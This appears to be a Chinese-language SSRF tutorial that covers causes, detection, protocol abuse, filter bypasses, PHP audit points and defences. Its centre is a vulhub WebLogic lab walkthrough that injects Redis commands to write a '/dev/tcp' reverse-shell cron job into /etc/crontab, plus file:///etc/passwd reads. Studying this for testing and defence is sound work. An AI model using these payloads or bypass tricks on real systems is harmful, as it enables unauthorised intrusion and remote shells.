浅谈SSRF 加redis反弹shell
0x00 SSRF简介和原理
- SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
- 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。
0x01 漏洞危害
扫描内网开放服务
向内部任意主机的任意端口发送payload来攻击内网服务
攻击内网的web应用,例如直接SQL注入、XSS攻击等
利用file、gopher、dict协议读取本地文件、执行命令等
0x02 漏洞常出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
0x03漏洞验证
1、排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php\?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2、dnslog等工具进行测试,看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
3、抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
3.1、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
3.2、通过二级域名暴力猜解工具模糊猜测内网地址
3.3、通过file协议读取内网信息获取相关地址
4、直接返回的Banner、title、content等信息
5、留意布尔型SSRF,通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
0x04简单的测试用例
创建一个PHP测试脚本,利用curl发送请求
1 | <?PHP |
利用的多种协议
gopher协议
1 | 使用gopher协议来查看协议, |
1 | 利用gopher发送POST的请求, |
dict协议
1 | dict 协议探测版本 |
FILE协议
1 | http://10.211.55.4/ssrf.php?url=file:///etc/passwd |
http/https协议
1 | http://10.211.55.4/ssrf.php?url=http://ip:port |
Weblogic SSRF漏洞
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
简单介绍
- 如果内网开放了6379端口redis服务,尝试利用SSRF对redis执行未授权漏洞,可以直接反弹shell获取权限
- Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
- 因此,此漏洞在没有配置密码的情况下可以利用SSRF来绕过绑定在本地的限制,从而实现在外网攻击内网应用。
漏洞环境
参考vulhub的漏洞环境搭建
装个docker方便的很
docker-compose.yml
1 | version: '2' |
编译及启动测试环境
1 | docker-compose build |
访问http://your-ip:7001/uddiexplorer/
,无需登录即可查看uddiexplorer应用。
SSRF漏洞测试
SSRF漏洞存在于
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.比如探测自己的 7001端口,这是存在的
1 | http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 |
2.比如这个 探测 172.19.0.2:6379是否开放,这种报错就是开放的
1 | http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379 |
2.比如这个 探测 127.0.0.1:7000是否开放,这种报错就是不存在的端口
攻击redis(通过header CRLF 注入)
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
查看docker redis的ip地址
1 | docker ps |
利用SSRF漏洞探测内网redis是否开放
发现redis存在
payload生成
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
写成计划任务,然后反弹shell
1 | test |
进行url编码:
1 | test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa |
注意,换行符是“\r\n”,也就是“%0D%0A”。
实施攻击
本机监听端口:nc -lvvp 2333
注意IP要填对
1 | http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp 这个肯定是weblogic的能访问的地方了 |
浏览器访问:
1 | http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.100%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa |
反弹shell成功!
0x06 绕过技术
常用绕过方法
1.@
1 | http://[email protected] |
在对@解析域名中,不同的处理函数存在处理差异,如:http://[email protected]@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而`libcur`l则识别为www.bbb.com
2.利用[::]
可以利用[::]
来绕过localhost
1 | http://[::]:80/ >>> http://127.0.0.1 |
3.利用短网址
站长工具短网址(http://tool.chinaz.com/tools/dwz.aspx\)
跳转要去的地址
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
1 | 127.0.0.1.xip.io,可解析为127.0.0.1 |
5.利用DNS解析
在域名上设置A记录,指向127.0.0.1
6.302跳转
使用302跳转地址
7.利用进制转换
1 | 127.0.0.1 |
8.句号
1 | 127。0。0。1 >>> 127.0.0.1 |
2、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@http://[email protected]
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
0x07 审计php常见的函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
(1)file_get_contents() 函数从用户指定的url获取内容,并展示给用户。
1 | <?php |
(2)fsockopen()
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
1 | <?php |
(3)curl_exec() 函数用于执行指定的cURL会话
1 | <?php |
0x08防御技术
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP